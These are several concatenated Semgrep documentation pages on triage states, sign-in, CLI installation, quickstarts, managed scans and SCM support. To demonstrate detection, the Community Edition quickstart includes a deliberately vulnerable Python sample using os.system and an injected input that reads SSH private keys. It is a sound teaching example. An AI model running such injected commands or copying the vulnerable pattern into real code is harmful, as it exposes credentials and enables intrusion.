| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
| **Provisionally ignored** | Rule-based Semgrep Code findings that Semgrep Multimodal's [Autotriage](/semgrep-multimodal/overview#autotriage) has flagged as likely false positives. You can change the status to **Ignored** if you agree with Multimodal's assessment. Otherwise, you can change the status to **To fix** if you disagree.
**Note**: [AI-powered detection](/semgrep-code/ai-powered-detection-concepts) findings remain **Open** even when Multimodal flags them as false positives. They are **not** automatically set to **Provisionally ignored**; change the status to **Ignored** if you want to dismiss them. |
| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
### Removed findings
Findings can also be **removed**. Semgrep considers a finding removed if it is not found in the most recent scan of the branch where Semgrep initially detected it due to any of the following conditions:
* The rule that detected the finding is no longer enabled in the policy.
* The rule that detected the finding was updated in a way that it no longer detects the finding.
* The file path where the finding appeared is no longer found. The file path was deleted, renamed, added to a `.semgrepignore` file, added to a `.gitignore` file, or added to the list of ignored paths in Semgrep AppSec Platform.
* For GitHub organization accounts: the pull request or merge request where the finding was detected has been closed without merging.
Your removed findings do not count toward the fix rate or the number of findings. The removed findings also do not appear in Semgrep AppSec Platform.
### Triage behavior across refs and branches
* When you triage a finding as ignored, reviewing, fixing, or reopened, Semgrep always triages across other branches and [Git references](https://git-scm.com/book/en/v2/Git-Internals-Git-References) (refs).
* At scan time, there's automatic triaging that occurs in specific cases, and the behavior changes depending on the type of scan:
* **Full scans**: if the current branch includes a finding that was
* Previously introduced in another branch ***and***
* Triaged to a specific state
**Then** the finding in the current branch is triaged to that same state.
* **Diff-aware scan**: findings introduced in a diff-aware scan are **not** automatically triaged at scan time, even if there are other instances of that finding on branches that have been triaged.
# Sign in to Semgrep
Source: https://docs.semgrep.dev/for-developers/signin
Signing in to the [ Semgrep AppSec Platform web app](https://semgrep.dev/login) enables you to:
* View and triage your findings in bulk.
* Use your organization's custom Semgrep rules and configurations when you perform local scans with Semgrep. This ensures that everyone in the organization uses the same rules and analyses.
**IS THIS DOCUMENT FOR YOU?**
* Not all organizations require their developers to create a Semgrep account.
* You can resolve or triage (ignore) findings in pull request or merge request comments, even **without** a Semgrep account, by replying to the comment. See [Resolve findings in your pull request or merge request](/for-developers/resolve-findings-through-comments).
## Semgrep in multiple environments
If you have not yet created a Semgrep account, it is **recommended** to first sign in to the Semgrep web app. This process creates a **personal** account, which you can then use to **join** your organization's Semgrep account. This lets you use your organization's Semgrep configuration, such as custom rules and scan parameters.
If you use Semgrep in your CLI or IDE, you must sign in from those environments as well. It is recommended to sign in from these interfaces **after** you have signed in to your organization account in the web app.
## Prerequisites
* Confirm with your security team that there is an existing organization account for you to join.
* For CLI and IDE scans, see [Prerequisites > Command line tool](/prerequisites#semgrep-command-line-tool) to ensure that your machine meets Semgrep's requirements.
## Sign in to the web app
In a typical Semgrep deployment, your company creates an **org** that you can sign in to and join using your GitHub, GitLab, or SSO credentials. Your organization will let you know through a notice or announcement once you can sign in.
To join an existing org using your GitHub or GitLab credentials:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) with the account credentials specified by your admin.
Follow the on-screen prompts to grant Semgrep the needed permissions and proceed. This creates your **personal** Semgrep account.
Click the organization name displayed at the top of the **navigation bar** to expand the drop-down menu.
Click **Add org > Join an organization**.
Provide the name of the organization you'd like to join. Then, click **Join**.
To join an existing org through your SSO provider:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login) with the account credentials specified by your admin.
You are automatically signed in to all organizations that your admin has set up for you.
After signing in to your org's account, you can now sign in and scan with Semgrep from other environments, such as your CLI or IDE.
## Set up Semgrep in the CLI
### Install the Semgrep CLI tool
Install the Semgrep CLI tool and confirm the installation:
```bash theme={null}
# macOS, Linux, Windows users - using pipx (recommended)
# See https://pipx.pypa.io/stable/how-to/install-pipx/ to install pipx
pipx install semgrep
# Or, if you use uv (https://docs.astral.sh/uv/)
uv tool install semgrep
# macOS users only - ensure that you've added Homebrew to your PATH
# https://docs.brew.sh/FAQ#my-mac-apps-dont-find-homebrew-utilities
#
# maintained on a best-effort basis; often lags behind the latest release
brew install semgrep
# confirm
semgrep --version
```
### Sign in to Semgrep from the CLI
To sign in to Semgrep:
Ensure that you are signed in to your **[org account](#sign-in-to-the-web-app)** in the Semgrep web app.
Enter the following command in your CLI:
```bash theme={null}
semgrep login
```
Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed.
In the Semgrep CLI login dialog, click **Activate** to proceed.
You are now ready to run local scans with your org's Semgrep configuration.
# Local scans with Semgrep
Source: https://docs.semgrep.dev/getting-started/cli
Learn how to set up Semgrep, scan your project for security issues using Semgrep Code's interfile analysis, and view your findings in the CLI.
## Prerequisites
Before proceeding, see [Prerequisites](/prerequisites) to ensure that your machine meets Semgrep's requirements.
## Set up Semgrep
Install the Semgrep CLI tool and confirm the installation:
```bash theme={null}
# macOS, Linux, Windows users - using pipx (recommended)
# See https://pipx.pypa.io/stable/how-to/install-pipx/ to install pipx
pipx install semgrep
# Or, if you use uv (https://docs.astral.sh/uv/)
uv tool install semgrep
# best-effort: install through homebrew (maintained on a best-effort basis; often lags behind the latest release)
# ensure that you've added Homebrew to your PATH
# https://docs.brew.sh/FAQ#my-mac-apps-dont-find-homebrew-utilities
brew install semgrep
# confirm
semgrep --version
```
## Log in to your Semgrep account
Log in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
```bash theme={null}
semgrep login
```
In the **Semgrep CLI login**, click **Activate** to proceed.
**WARNING**
Semgrep scans triggered using `semgrep ci` fail if you aren't signed in to your Semgrep account.
## Turn on cross-file analysis
To turn on [cross-file analysis](/semgrep-code/semgrep-pro-engine-intro), which allows you to detect vulnerabilities across files and folders:
In Semgrep AppSec Platform, go to [Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code).
Click the **Cross-file analysis** toggle to turn this feature on.
## Scan your project
Semgrep provides two commands that you can use to start a scan from the CLI:
* `semgrep scan` - This is the recommended command for [scanning local codebases or scanning a project when you don't have a Semgrep account](/getting-started/quickstart-ce). It is also recommended for [writing and testing custom rules](/writing-rules/testing-rules).
* `semgrep ci` - This is the recommended command if you are scanning Git repositories with Semgrep as part of an organization with custom rules and policies. `semgrep ci` fetches your organization's scan configurations from Semgrep AppSec Platform.
Navigate to the root of your codebase, and run your first scan. The specific command you use depends on how you want to view the results.
To view the results in the CLI:
```bash theme={null}
semgrep ci
```
To export the results to a plain text file:
```bash theme={null}
semgrep ci --text --text-output=semgrep.txt
```
To export the results to a SARIF file:
```bash theme={null}
semgrep ci --sarif --sarif-output=semgrep.sarif
```
To export the results to a JSON file:
```bash theme={null}
semgrep ci --json --json-output=semgrep.json
```
> The JSON schema for Semgrep's CLI output is in [semgrep/semgrep-interfaces](https://github.com/semgrep/semgrep-interfaces/blob/main/semgrep_output_v1.jsonschema).
In addition to the `--text`, `--json`, and `--sarif` flags, which set the primary output formats, and the `--output=` flag that saves the results to a file or posts to a URL, you can append `---output=` to obtain additional output streams:
```bash theme={null}
# prints findings in SARIF format to standard output and writes in JSON format to `findings.json`.
semgrep ci --sarif --json-output=findings.json
# prints findings in text to standard out and writes JSON output to `findings.json`.
semgrep ci --json-output=findings.json
# prints text output to `findings.txt` and writes in SARIF to `findings.sarif`.
semgrep ci --output=findings.txt --sarif-output=findings.sarif
# writes text to `semgrep.txt`, JSON to `semgrep.json`, and SARIF to `semgrep.sarif`.
semgrep ci --text --output=semgrep.txt --json-output=semgrep.json --sarif-output=semgrep.sarif
```
Accepted values for ``: `text`, `json`, `sarif`, `gitlab-sast`, `gitlab-secrets`, `junit-xml`, `emacs`, `vim`
## Test custom rules
Semgrep includes features to [test the custom rules that you write](/writing-rules/testing-rules):
```bash theme={null}
semgrep scan --test
```
### Publish custom rules
To share your rules by adding them to the Semgrep Registry:
```bash theme={null}
semgrep publish
```
## Scan without sending results to Semgrep
To scan your project using the configuration you've set up in Semgrep AppSec Platform **without** sending scan results to Semgrep, use:
```bash theme={null}
semgrep ci --dry-run
```
This can help verify the results of a specific ruleset or see how your findings change based on the rulesets you choose for your scans.
## Scan using Semgrep CE analysis (single-function)
To scan your project using exclusively open source Semgrep, even though you have proprietary cross-file analysis enabled in Semgrep AppSec Platform:
```bash theme={null}
semgrep ci --oss-only
```
**INFO**
See [Semgrep AppSec Platform versus Semgrep Community Edition](/semgrep-pro-vs-oss) for information on the differences between Semgrep's proprietary and open source analyses.
## Scan using specific Semgrep products
When you run `semgrep ci`, you scan your project with any product that is enabled in Semgrep AppSec Platform. To scan your project with just one product, run:
```bash theme={null}
# scan with Semgrep Code
semgrep ci --code
# scan with Semgrep Supply Chain
semgrep ci --supply-chain
# scan with Semgrep Secrets
semgrep ci --secrets
```
## Extend timeout thresholds
Depending on the file sizes in your project, you may need to increase the timeout threshold so that Semgrep doesn't time out before the scan completes. You can control this value with the `--timeout` flag, which specifies the maximum time Semgrep spends scanning a single file. The default value is 5 seconds. Semgrep attempts to scan each file with this timeout value three times, but you can change this using the `--timeout-threshold` flag:
```bash theme={null}
# increase timeout to 45 seconds, try only 2 times
semgrep ci --timeout 45 --timeout-threshold 2
```
## Improve performance for large codebases
You can set the number of subprocesses Semgrep uses to run checks in parallel:
```bash theme={null}
semgrep scan -j NUMBER_OF_SUBPROCESSES
```
By default, the number of jobs Semgrep uses is equivalent to the number of cores detected on the system, but `-j = 1` if you're passing in `--pro`. For additional information, see [Parallelization](/kb/semgrep-code/scan-engine-kill).
## Set log levels
Semgrep provides three levels of logging:
| **Log level** | **Flag** | **Description** |
| :------------ | :------------------ | :-------------------------------------------------------------------------------------------------------------------------- |
| Default | None | Prints scan progress, findings information, warnings, and errors. |
| Verbose | `-v` or `--verbose` | Includes everything printed when using the default logging level, adding a list of rules and details such as skipped files. |
| Debug | `--debug` | Logs the entire scan process at a high level of detail. |
### Example usage
To set the logging level for a scan, include the flag when scanning your project:
```bash theme={null}
# run a scan and get debug logs
semgrep ci --debug
```
## Exit codes
The CLI commands `semgrep ci` and `semgrep scan` finish with exit code `0` as long as the scan completes, regardless of whether there were findings. To finish with exit code `1` when there are findings:
* [Configure blocking rules](/semgrep-code/policies/#block-a-pr-or-mr-through-rule-modes)
* Pass in the `--error` flag when running `semgrep scan`.
When you run `semgrep ci`, you can pass in the `--no-suppress-errors` if you don't want [internal errors suppressed](/cli-reference/#exit-codes).
## Log out
To log out of your Semgrep account:
```bash theme={null}
semgrep logout
```
# Quickstart
Source: https://docs.semgrep.dev/getting-started/quickstart
Learn how to set up Semgrep, scan your first project, which can be any codebase, repository, or folder within a monorepo, for security issues, and view your findings.
**PREREQUISITES**
You must have Python 3.10 or later installed on the machine where the Semgrep CLI is running.
Go to [Semgrep AppSec Platform](https://semgrep.dev/login), and sign up by clicking on **Continue with GitHub** or **Continue with GitLab**. Follow the on-screen prompts to grant Semgrep the necessary permissions.
Provide the **Organization display name** you'd like to use, then click **Create new organization**.
When asked **Where do you want to scan?** click **Run on CLI**.
Launch your CLI, and follow the instructions on the [**Scan a project on your machine**](https://semgrep.dev/onboarding/scan) page. For your convenience, the same information is presented below, along with instructions for Windows users.
i. Install the Semgrep CLI and confirm the installation:
```bash theme={null}
# preferred: install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
pipx install semgrep
# preferred: install through uv (https://docs.astral.sh/uv/)
uv tool install semgrep
# best-effort: install through homebrew (maintained on a best-effort basis; often lags behind the latest release)
brew install semgrep
# confirm installation succeeded by printing the currently installed version
semgrep --version
```
**NOTE**
`pipx` and `uv` are the preferred installation methods. The Homebrew formula is maintained on a best-effort basis and often lags behind the latest release.
**Homebrew users:** ensure that you've [added Homebrew to your PATH](https://docs.brew.sh/FAQ#my-mac-apps-dont-find-homebrew-utilities).
ii. Log in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
```bash theme={null}
semgrep login
```
iii. In the **Semgrep CLI login**, click **Activate** to proceed.
iv. Return to the CLI, navigate to the root of your project, and run your first scan:
```bash theme={null}
semgrep ci
```
i. Install the Semgrep CLI and confirm the installation:
```bash theme={null}
# install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
pipx install semgrep
# or, install through uv (https://docs.astral.sh/uv/)
uv tool install semgrep
# confirm installation succeeded by printing the currently installed version
semgrep --version
```
ii. Log in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
```bash theme={null}
semgrep login
```
iii. In the **Semgrep CLI login**, click **Activate** to proceed.
iv. Return to the CLI, navigate to the root of your project, and run your first scan:
```bash theme={null}
semgrep ci
```
i. [Download](https://www.python.org/downloads/) and install Python. Make sure to check the box to add python.exe to the PATH, otherwise you will have difficulty running Semgrep.
ii. Configure your system to run Python with UTF-8 text encodings by default. In PowerShell, run:
```powershell theme={null}
[System.Environment]::SetEnvironmentVariable('PYTHONUTF8', '1', 'User')
```
iii. Install the Semgrep CLI and confirm the installation. In PowerShell, run:
```bash theme={null}
# install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
pipx install semgrep
# or, install through uv (https://docs.astral.sh/uv/)
uv tool install semgrep
# confirm installation succeeded by printing the currently installed version
semgrep --version
```
iv. Log in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
```bash theme={null}
semgrep login
```
v. In the **Semgrep CLI login**, click **Activate** to proceed.
vi. Return to the CLI, navigate to the root of your project, and run your first scan:
```bash theme={null}
semgrep ci
```
**PREREQUISITES**
Ensure that you have [Docker installed](https://docs.docker.com/desktop/) before proceeding.
i. Pull the latest image and confirm the version:
```bash theme={null}
docker pull semgrep/semgrep
# confirm version
docker run --rm semgrep/semgrep semgrep --version
```
ii. For users running Docker on **macOS or Linux** Docker:
a. Log in to your Semgrep account (running this command will launch a browser window, but you can also use the link that's returned in the CLI to proceed):
```bash theme={null}
docker run -it semgrep/semgrep semgrep login
```
b. In the **Semgrep CLI login**, click **Activate** to proceed. Return to the CLI and copy the login token that's shown.
c. Navigate into the root of your project, and run your first scan. Be sure to substitute YOUR\_TOKEN with the login token value you copied in the previous step:
```bash theme={null}
docker run -e SEMGREP_APP_TOKEN=YOUR_TOKEN --rm -v "${PWD}:/src" semgrep/semgrep semgrep ci
```
The provided `-v` option mounts the current directory into the container to be scanned. Navigate into a different project or provide a specific local directory in the command to scan a different project.
iii. For users running Docker on **Windows**:
a. Log in to your Semgrep account (running this command will launch a browser window, but you can also use the link that's returned in the CLI to proceed):
```bash theme={null}
docker run -it semgrep/semgrep semgrep login
```
b. In the **Semgrep CLI login**, click **Activate** to proceed. Return to the CLI, and copy the login token that's shown.
c. Navigate into the root of your project, and run your first scan. Be sure to substitute YOUR\_TOKEN with the login token value you copied in the previous step:
```bash theme={null}
docker run -e SEMGREP_APP_TOKEN=YOUR_TOKEN --rm -v "%cd%:/src" semgrep/semgrep semgrep ci
```
The provided `-v` option mounts the current directory into the container to be scanned. Navigate into a different project or provide a specific local directory in the command to scan a different project.
Once you've scanned your first application, return to [Semgrep AppSec Platform](https://semgrep.dev/orgs/-/) to see the security vulnerabilities in your project. For detailed information, click **Code** to access your SAST findings or **Supply Chain** to access your SCA findings.
**INFO**
**Code is not uploaded.** Only **findings** are sent to Semgrep AppSec Platform.
## Scan without a GitHub or GitLab account
If you don't have a GitHub or GitLab account, you can use `semgrep scan` in your CLI. See [Scan your project](/getting-started/cli#scan-your-project) for more details.
# Get started with Semgrep Community Edition
Source: https://docs.semgrep.dev/getting-started/quickstart-ce
Semgrep Community Edition (CE) is an open source static analysis tool that can find insecure coding patterns and security vulnerabilities in source code. Semgrep CE encompasses a SAST scanning engine, community rules, and integrated development environment plugins.
**INFO**
Semgrep CE is the open source version of Semgrep Code, a commercial offering recommended for enterprise use cases. Both products share a common command-line interface, but Semgrep Code adds additional capabilities, including a web user interface.
## Prerequisites
See [Prerequisites](/prerequisites) to ensure your machine meets Semgrep's requirements.
## Install Semgrep CE
Install the Semgrep CLI and confirm the installation:
```bash theme={null}
# or, install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
pipx install semgrep
# or, install through uv (https://docs.astral.sh/uv/)
uv tool install semgrep
# best-effort: install through Homebrew (maintained on a best-effort basis; often lags behind the latest release)
brew install semgrep
# confirm installation succeeded by printing the currently installed version
semgrep --version
```
**Homebrew users:** ensure that you've [added Homebrew to your PATH](https://docs.brew.sh/FAQ#my-mac-apps-dont-find-homebrew-utilities).
Install the Semgrep CLI and confirm the installation:
```bash theme={null}
# install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
pipx install semgrep
# or, install through uv (https://docs.astral.sh/uv/)
uv tool install semgrep
# confirm installation succeeded by printing the currently installed version
semgrep --version
```
[Download](https://www.python.org/downloads/) and install Python. Check the box to add python.exe to the PATH; otherwise, you will have difficulty running Semgrep.
Configure your system to run Python with UTF-8 text encodings by default. In PowerShell, run:
```powershell theme={null}
[System.Environment]::SetEnvironmentVariable('PYTHONUTF8', '1', 'User')
```
Install the Semgrep CLI and confirm the installation. In PowerShell, run:
```bash theme={null}
# install through pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
pipx install semgrep
# or, install through uv (https://docs.astral.sh/uv/)
uv tool install semgrep
# confirm installation succeeded by printing the currently installed version
semgrep --version
```
## Create a test file for use with Semgrep CE
Navigate to the directory of your choice, and create a sample file called `app.py` with the following:
```python theme={null}
# app.py
import os
user_input = input("Enter a Directory: ")
os.system("ls " + user_input)
```
Given this file, you might expect someone to run it as follows:
```bash theme={null}
$ python3 app.py
Enter a Directory: .
app.py
```
However, because this file didn't follow secure coding principles, a malicious actor might take advantage of the file as follows:
```bash theme={null}
$ python3 app.py
Enter a Directory: .; cat ~/.ssh/id_*
app.py
-----BEGIN OPENSSH PRIVATE KEY-----
...
```
## Scan `app.py` with Semgrep CE
To check your code for security vulnerabilities:
Navigate to the directory where you saved `app.py` using the terminal.
Invoke Semgrep CE using `semgrep scan`. The `semgrep scan` command pulls down rules from the [Semgrep Registry](https://semgrep.dev/r), similar to package managers for source code libraries, and stores rules that help define semantic meaning to patterns in source code. By default, Semgrep CE uses open source community rules:
```bash theme={null}
βββββββββββββββ
β Scan Status β
βββββββββββββββ
Scanning 1 file tracked by git with 1062 Code rules:
Language Rules Files Origin Rules
βββββββββββββββββββββββββββββ βββββββββββββββββββ
python 243 1 Community 1062
48 1
```
The specific numbers shown in your **Scan Status** printed to the terminal may vary, but you can still see that Semgrep is scanning the source code using community rules. There are over 1000 community rules in the default rule set, but because Semgrep recognizes the source code language, only rules relevant to the code being scanned are evaluated.
To fine-tune your scan, you can include the `--config` parameter, which allows you to choose which rules to run:
```bash theme={null}
semgrep scan --config "p/python-command-injection" app.py
```
In the preceding example, the command uses a predefined rule set from the Semgrep Registry focused on command injection vulnerabilities in Python. The specific rules you use during a scan will significantly impact what is detected in your source code.
## View and understand Semgrep Scan output
Semgrep displays your results when the scan is completed.
The Scan Summary printed to the terminal tells you how many rules were run and whether or not there were any findings. A finding indicates that Semgrep detected a potential vulnerability.
```bash theme={null}
ββββββββββββββββ
β Scan Summary β
ββββββββββββββββ
β Scan completed successfully.
β’ Findings: 1 (1 blocking)
β’ Rules run: 24
β’ Targets scanned: 1
β’ Parsed lines: ~100.0%
β’ No ignore information available
Ran 24 rules on 1 file: 1 finding.
```
The findings list includes the name of the rule, a brief explanation of the security issue, and the exact line of code that triggered the finding:
```bash theme={null}
ββββββββββββββββββ
β 1 Code Finding β
ββββββββββββββββββ
app.py
β―β―β± python.lang.security.audit.dangerous-system-call-audit.dangerous-system-call-audit
Found dynamic content used in a system call. This is dangerous if external data can reach this
function call because it allows a malicious actor to execute commands. Use the 'subprocess' module
instead, which is easier to use without accidentally exposing a command injection vulnerability.
Details: https://sg.run/2WL0
5β os.system("ls " + user_input)
```
Each rule is given a unique namespace to help identify it. For example, Python language issues are prefixed with `python.lang`.
The rule's author defines the source code patterns and provides remediation advice or an explanation of the problem. In this example, you can also see the specific expression and line of code where the issue appears.
This example is a [Command Injection](/learn/vulnerabilities/command-injection) vulnerability. The rule advises you to review the [Python Code Injection Cheat Sheet](/cheat-sheets/python-code-injection) to learn more. The link in the output takes you to the **Semgrep Playground**, where you can interactively modify this rule and test it against sample code.
## Next steps
Read Semgrep docs for details on how to:
# Quickstart for Semgrep Managed Scans
Source: https://docs.semgrep.dev/getting-started/quickstart-managed-scans
This quickstart guide will help you set up Semgrep and scan your first project using Semgrep Managed Scans.
**INFO**
A **project** is any codebase, repository, or folder within a monorepo that is added to Semgrep for scanning. This includes all the findings, history, and scan metadata for the project.
## What are Semgrep Managed Scans?
Semgrep Managed Scans allow you to run Semgrep scans without needing to set up and maintain your own infrastructure. It provides a simple, scalable way to scan your code for security vulnerabilities, code quality issues, and other problems without setting up and maintaining separate configurations for each project.
## Supported source code managers
You must be an existing [Semgrep AppSec Platform](https://semgrep.dev/orgs/-/) user with one of the following plans:
* Bitbucket Cloud Premium plans or Bitbucket Data Center (v8.8 or above for diff-aware scans)
* Hosted GitHub (GitHub.com) and GitHub Enterprise Server plans
* GitLab Cloud and GitLab self-managed plans and a Premium or Ultimate subscription
* Azure DevOps Cloud repositories
## Add projects to Semgrep Managed Scans
### Prerequisites
You must have admin access to your Azure DevOps organization.
Read access is granted through an access token you generate on Azure DevOps. You can provide this token by [adding Azure DevOps as a source code manager](/deployment/connect-scm#connect-to-cloud-hosted-orgs).
Semgrep recommends setting up and configuring Semgrep with an Azure DevOps service account, not a personal account. Regardless of whether you use a personal or service account, the account must be assigned the **Owner** or **Project Collection Administrator** role for the organization. During setup and configuration, you must provide a personal access token generated by this account. This token must be authorized with **Full access**. Once you have Semgrep Managed Scans fully configured, you can update the token provided to Semgrep to a more restrictive one. The scopes you must assign to the token include:
* `Code: Read`
* `Code: Status`
* `Member Entitlement Management: Read`
* `Project and Team: Read & write`
* `Pull Request Threads: Read & write`
### Add a project
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login)
Navigate to **Projects**, and click **Scan new project > Semgrep Managed Scan**.
In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
Click **Enable**. You are taken to the **Projects** page as your scans begin.
### Prerequisites
You must have admin access to your Bitbucket organization.
#### Bitbucket Cloud
* Read access is granted through a [workspace access token](https://support.atlassian.com/bitbucket-cloud/workspace-access-tokens/) you generate on Bitbucket. You can provide this token by [adding Bitbucket as a source code manager](/deployment/connect-scm#connect-to-cloud-hosted-orgs).
* The user generating the workspace token must be a **Product Admin** for the workspace. The scopes you must assign to the token include:
* `webhook (read and write)`
* `repository (read and write)`
* `pullrequest (read and write)`
* `project (admin)`
* `account (read)`
#### Bitbucket Data Center
* V8.8 or above for diff-aware scans. Additionally, project-level webhooks are required to support diff-aware scans.
* Read access is granted through an [HTTP access token](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html) you generate on Bitbucket. You can provide this token by [adding Bitbucket as a source code manager](/deployment/connect-scm#connect-to-on-premise-orgs-and-projects).
* The user generating the token must be a **Project Admin** for the project. See [Bitbucket Data Center prerequisites](/deployment/managed-scanning/bitbucket#bitbucket-data-center).
### Add a project
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login)
Navigate to **Projects**, and click **Scan new project > Semgrep Managed Scan**.
In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
Click **Enable**. You are taken to the **Projects** page as your scans begin.
### Prerequisites
You must have admin access to your GitHub organization.
To enable and use this feature, you must grant Semgrep **Read access** to your code. This is done by installing a private GitHub app that you create and register yourself. The steps to do so are provided in the subsequent section of this document. See [Managed Scans > Security](/deployment/managed-scanning/overview#security) for more information on how Semgrep handles your code once you've provided read access.
### Add a project
Go to [Semgrep AppSec Platform](https://semgrep.dev/login), and sign up by clicking on **Sign in with GitHub**. Follow the on-screen prompts to [grant Semgrep the necessary permissions](/deployment/prepare/scm-permissions#github-app-permissions) and proceed.
Provide the **Organization display name** you'd like to use, then click **Create new organization**.
When asked **Where do you want to scan?** click **GitHub**.
Follow the steps in the **Connect GitHub to Semgrep** page. These steps install a public GitHub app to handle PR comments and a private GitHub app to handle code access. You can select which repositories these apps have access to, and remove or revoke their permissions at any time.
Click **Set up projects**. You are taken to the **Enable Managed Scans for repos** page.
Select all the repositories you want to add to Semgrep Managed Scans for scanning.
Click **Enable Managed Scans**. You are taken to the **Projects** page as your scans begin.
### Prerequisites
Semgrep Managed Scanning (SMS) requires one of the following plans:
* GitLab Premium
* GitLab Ultimate
* GitLab Self Managed
You must provide a GitLab group access token or personal access token to Semgrep. The token must have the `api` scope assigned to it.
During SMS onboarding, the group or user to which the token is assigned must have one of the following roles:
* `Maintainer`
* `Owner`
* `Admin`
This is because managed scans of GitLab repositories require the enablement of webhooks to facilitate diff-aware scans and the creation of pull request comments by Semgrep. The webhooks are enabled by default when you set up Managed Scans and add GitLab as a source code manager. Once onboarding is complete, you can downgrade the role assigned to the token to `Developer`.
### Add a project
Navigate to [Semgrep AppSec Platform](https://semgrep.dev/login), and sign up by clicking on **Sign in with GitLab**. Follow the on-screen prompts to proceed.
When prompted, click **Scan new project > Semgrep Managed Scan**.
In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
Click **Enable**. You are taken to the **Projects** page as your scans begin.
Semgrep now performs a full scan on all the projects that you added in batches.
You can [view your projects in Semgrep AppSec Platform](https://semgrep.dev/orgs/-/projects/scanning). All projects with a Managed Scan configuration are tagged with `managed-scan`, regardless of whether they are actively being scanned by Semgrep Managed Scans.
## Next steps
Once a scan has finished, you can view your findings on the following Semgrep AppSec Platform pages:
* [ Code](https://semgrep.dev/orgs/-/findings?tab=open\&primary=true) for SAST findings
* [ Secrets](https://semgrep.dev/orgs/-/secrets?tab=open\&validation_state=confirmed_valid,validation_error,no_validator) for secrets findings
* [ Supply Chain](https://semgrep.dev/orgs/-/supply-chain/vulnerabilities?primary=true\&tab=open) for SCA findings
* Add [AI-powered detection](/deployment/add-ai-to-scans) to your Semgrep Code scans
See [Semgrep Managed Scans](/deployment/managed-scanning/overview) to learn more about how Semgrep manages your scans.
# Supported source code managers
Source: https://docs.semgrep.dev/getting-started/scm-support
Semgrep supports the following source code managers (SCM) and plans to varying degrees. Please review the information for your specific SCM and plan to see what Semgrep features are available to you.
| Plan | Unsupported Semgrep features |
| :------------------------------------------ | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Azure DevOps Cloud |
Query console
|
| Azure DevOps Server |
Semgrep Multimodal
Semgrep Managed Scans
Pull request comments
Query console
Diff-aware scans
Sending findings to Semgrep AppSec Platform
Default branch identification
Generic secrets (requires Semgrep Multimodal)
|
| Bitbucket Cloud Free |
Semgrep Multimodalβ
Semgrep Managed Scanβ
Autofixβ
Query console
Generic secrets (requires Semgrep Multimodal)
|
| Bitbucket Cloud Standard |
Semgrep Multimodalβ
Semgrep Managed Scanβ
Autofixβ
Query console
Generic secrets (requires Semgrep Multimodal)
|
| Bitbucket Cloud Premium |
Query console
|
| Bitbucket Data Center |
Query console
Diff-aware scans and triage through PR comments require Bitbucket Data Center version 8.8 or later.
|
β Semgrep Multimodal, Managed Scans, and Autofix on Bitbucket Cloud require a [workspace access token](https://support.atlassian.com/bitbucket-cloud/docs/create-a-workspace-access-token/), which is only available on **Bitbucket Cloud Premium**. Managed Scans and triage through PR comments also require workspace-level webhooks, which are not available on Bitbucket Cloud Free or Standard.
\*Semgrep Managed Scans and triage through MR comments require access to group webhooks, which is unavailable to GitLab Free users.
[Autofix](/semgrep-code/triage-remediation/autofix) is supported on all source code managers in the table above at supported plan tiers (see footnotes β and \*). Autofix is not yet available when Semgrep connects to your SCM through the [Semgrep Network Broker](/semgrep-ci/network-broker).
## Access limitations
You may need to add [Semgrep's IP addresses](/deployment/prepare/network-access#ip-addresses) to your ingress and egress allowlists, or you can use the [Network Broker](/semgrep-ci/network-broker), if any of the following conditions apply:
* Your SCM offers security features that limit access to your resources
* Your SCM is behind a firewall or protected by network restrictions regarding access
* You are using a virtual private network (VPN)
# Ignore files, folders, and code
Source: https://docs.semgrep.dev/ignoring-files-folders-code
This document describes two types of ignore operations:
* **Ignoring as exclusion.** Exclude or skip specific **files and folders** from the scope of Semgrep scans in your repository or working directory. Ignoring in this context means that Semgrep does not generate findings for the ignored files and folders.
* **Ignoring as triage action**. Ignore specific parts of code that would have generated a finding. Ignoring in this context means that Semgrep generates a finding record and automatically triages it as **Ignored**, a triage state.
All Semgrep environments (CLI, CI, and Semgrep AppSec Platform) adhere to user-defined or Semgrep-defined ignore patterns.
## Reference summary
| Method | Usage | |
